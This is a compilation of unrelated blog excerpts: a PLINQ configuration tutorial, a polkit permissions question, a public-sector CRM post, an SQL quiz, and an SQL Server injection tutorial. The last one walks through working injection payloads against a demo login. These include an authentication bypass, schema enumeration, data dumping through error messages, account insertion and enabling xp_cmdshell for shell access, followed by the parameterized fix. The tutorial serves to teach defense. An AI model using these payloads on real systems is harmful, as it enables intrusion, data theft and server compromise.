minPixel, maxPixel); } }); Now, we’re restricting this routine to using no more than half the cores in our system.  Note that I included a check to prevent a single core system from supplying zero; without this check, we’d potentially cause an exception.  I also did not hard code a specific value for the MaxDegreeOfParallelism property.  One of our goals when parallelizing a routine is allowing it to scale on better hardware.  Specifying a hard-coded value would contradict that goal. Parallel LINQ also supports configuration, and in fact, has quite a few more options for configuring the system.  The main configuration option we most often need is the same as our TPL option: we need to supply the maximum number of processing threads.  In PLINQ, this is done via a new extension method on ParallelQuery<T>: ParallelEnumerable.WithDegreeOfParallelism. Let’s revisit our declarative data parallelism sample from Part 6: double min = collection.AsParallel().Min(item => item.PerformComputation()); Here, we’re performing a computation on each element in the collection, and saving the minimum value of this operation.  If we wanted to restrict this to a limited number of threads, we would add our new extension method: int maxThreads = Math.Max(Environment.ProcessorCount / 2, 1); double min = collection .AsParallel() .WithDegreeOfParallelism(maxThreads) .Min(item => item.PerformComputation()); This automatically restricts the PLINQ query to half of the threads on the system. PLINQ provides some additional configuration options.  By default, PLINQ will occasionally revert to processing a query in parallel.  This occurs because many queries, if parallelized, typically actually cause an overall slowdown compared to a serial processing equivalent.  By analyzing the “shape” of the query, PLINQ often decides to run a query serially instead of in parallel.  This can occur for (taken from MSDN): Queries that contain a Select, indexed Where, indexed SelectMany, or ElementAt clause after an ordering or filtering operator that has removed or rearranged original indices. Queries that contain a Take, TakeWhile, Skip, SkipWhile operator and where indices in the source sequence are not in the original order. Queries that contain Zip or SequenceEquals, unless one of the data sources has an originally ordered index and the other data source is indexable (i.e. an array or IList(T)). Queries that contain Concat, unless it is applied to indexable data sources. Queries that contain Reverse, unless applied to an indexable data source. If the specific query follows these rules, PLINQ will run the query on a single thread.  However, none of these rules look at the specific work being done in the delegates, only at the “shape” of the query.  There are cases where running in parallel may still be beneficial, even if the shape is one where it typically parallelizes poorly.  In these cases, you can override the default behavior by using the WithExecutionMode extension method.  This would be done like so: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .Select(i => i.PerformComputation()) .Reverse(); Here, the default behavior would be to not parallelize the query unless collection implemented IList<T>.  We can force this to run in parallel by adding the WithExecutionMode extension method in the method chain. Finally, PLINQ has the ability to configure how results are returned.  When a query is filtering or selecting an input collection, the results will need to be streamed back into a single IEnumerable<T> result.  For example, the method above returns a new, reversed collection.  In this case, the processing of the collection will be done in parallel, but the results need to be streamed back to the caller serially, so they can be enumerated on a single thread. This streaming introduces overhead.  IEnumerable<T> isn’t designed with thread safety in mind, so the system needs to handle merging the parallel processes back into a single stream, which introduces synchronization issues.  There are two extremes of how this could be accomplished, but both extremes have disadvantages. The system could watch each thread, and whenever a thread produces a result, take that result and send it back to the caller.  This would mean that the calling thread would have access to the data as soon as data is available, which is the benefit of this approach.  However, it also means that every item is introducing synchronization overhead, since each item needs to be merged individually. On the other extreme, the system could wait until all of the results from all of the threads were ready, then push all of the results back to the calling thread in one shot.  The advantage here is that the least amount of synchronization is added to the system, which means the query will, on a whole, run the fastest.  However, the calling thread will have to wait for all elements to be processed, so this could introduce a long delay between when a parallel query begins and when results are returned. The default behavior in PLINQ is actually between these two extremes.  By default, PLINQ maintains an internal buffer, and chooses an optimal buffer size to maintain.  Query results are accumulated into the buffer, then returned in the IEnumerable<T> result in chunks.  This provides reasonably fast access to the results, as well as good overall throughput, in most scenarios. However, if we know the nature of our algorithm, we may decide we would prefer one of the other extremes.  This can be done by using the WithMergeOptions extension method.  For example, if we know that our PerformComputation() routine is very slow, but also variable in runtime, we may want to retrieve results as they are available, with no bufferring.  This can be done by changing our above routine to: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .WithMergeOptions(ParallelMergeOptions.NotBuffered) .Select(i => i.PerformComputation()) .Reverse(); On the other hand, if are already on a background thread, and we want to allow the system to maximize its speed, we might want to allow the system to fully buffer the results: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .WithMergeOptions(ParallelMergeOptions.FullyBuffered) .Select(i => i.PerformComputation()) .Reverse(); Notice, also, that you can specify multiple configuration options in a parallel query.  By chaining these extension methods together, we generate a query that will always run in parallel, and will always complete before making the results available in our IEnumerable<T>.

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  • polkit: disable all users except those in group wheel?

    - by John Nash
    Is it possible to do the following using 1 polkit .pkla file? Disable all users except those in the wheel group from using polkit. The users in the wheel group will need to provide the root password when using polkit. /etc/polkit-1/localauthority/50-local.d/wheel-only.pkla [disable all users except the wheel group] Identity=unix-group:wheel Action=* ResultAny=??? ResultInactive=??? ResultActive=??? The following file works but you need to provide all the users in /etc/group: [disable all users except those in the wheel group: root and myuser] Identity=unix-user:daemon;unix-user:bin;unix-user:sys;unix-user:adm;unix-user:tty;unix-user:disk;unix-user:lp;unix-user:mail;unix-user:news;unix-user:uucp;unix-user:man;unix-user:proxy;unix-user:kmem;unix-user:dialout;unix-user:fax;unix-user:voice;unix-user:cdrom;unix-user:floppy;unix-user:tape;unix-user:sudo;unix-user:audio;unix-user:dip;unix-user:www-data;unix-user:backup;unix-user:operator;unix-user:list;unix-user:irc;unix-user:src;unix-user:gnats;unix-user:shadow;unix-user:utmp;unix-user:video;unix-user:sasl;unix-user:plugdev;unix-user:staff;unix-user:games;unix-user:users;unix-user:nogroup;unix-user:libuuid;unix-user:crontab;unix-user:messagebus;unix-user:Debian-exim;unix-user:mlocate;unix-user:avahi;unix-user:netdev;unix-user:bluetooth;unix-user:lpadmin;unix-user:ssl-cert;unix-user:fuse;unix-user:utempter;unix-user:Debian-gdm;unix-user:scanner;unix-user:saned;unix-user:i2c;unix-user:haldaemon;unix-user:powerdev Action=* ResultAny=no ResultInactive=no ResultActive=no

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  • The Other "C" in CRM

    - by Brian Dayton
    Folks who know me know that I rarely, if ever, talk politics. And I never talk politicians. Having grown up in a household with one parent leaning left and the other leaning to the right it was the best way to keep the peace. This isn't about politics. It's about "constituents" and the need to improve the services and service levels for people--at the city, county, state/province, etc. level all the way up to national governments. As a citizen and tax payer it's also important to me that these services be provided at a reasonable cost. If there's a better and more efficient way to do something then it's my hope that a public sector organization takes advantage of technology the same way private sector companies do. Social services organizations have a complex job. They provide the services that people need, from healthcare and children's assistance to helping people find jobs. But many of these organizations are still managing these processes manually or outdated, home-grown applications that could have been written up to 30 years ago. A lot has changed in technology. On the (this is as political as I'm going to get) political front, stakeholders like you and me are expecting greater transparency on where and how funds are spent. I'll admit that most of the time, when I think about CRM systems, I think about my experience as a customer of my bank, utilities company or cable operator. But now that I'm older, have children and a house--I find myself interacting more and more with agencies and services organizations. My experiences are sometimes good and sometimes not so good. Along those lines, last week's announcement of Siebel CRM 8.2 for Public Sector caught my eye. You may not work in the public sector, but you are a constituent of some--actually a lot--of public sector organizations. I don't know which CRM systems city and county utilize but I'm going to start paying closer attention.

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  • SQL SERVER – Take the Quiz for a chance to win a Quadcopter Drone – Brain Teasers

    - by Pinal Dave
    It has been a long time since we ran quiz. So let us get ready for a quiz. The quiz has two parts. You have to get both the parts correct to win Quadcopter with Camera (we will call it drone). We will be giving away a total of 2 Quadcopters. The quiz is extremely easy and I will ship the Drone anywhere in the world where Amazon will ship it. Let us jump directly to the quiz. Please complete all the three questions of the contest.  Contest Part 1: Brain Teasers There are two questions for you in this part of the contest. Question: There are two 7s. How will you write select statement with a single operator that returns single 7? Hint: SELECT 7(Answer)7 Question: Write down the shortest code that produces 1 without using any numbers in the select statement? Hint: SELECT (Answer) Contest Part 2: Download and Activate Rapid SQL Question: Download and Activate Rapid SQL. Hint: You have to download and activate Rapid SQL. If you do not activate Rapid SQL, you will be disqualified for the contest. Why take risk, let us start! That’s it! Just answer above questions in the following comments area, in following format. Remember: Use comments area right below the blog to take participation in the contest Answer before June 5, 2014 midnight GMT. The winner will be announced on June 8. The winner will be selected randomly from all the valid answers. All the valid answers will be kept hidden till June 5, 2014. There will be a total of two winners. The contest is open for any country of the world where Amazon ships products. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: PostADay, SQL, SQL Authority, SQL Puzzle, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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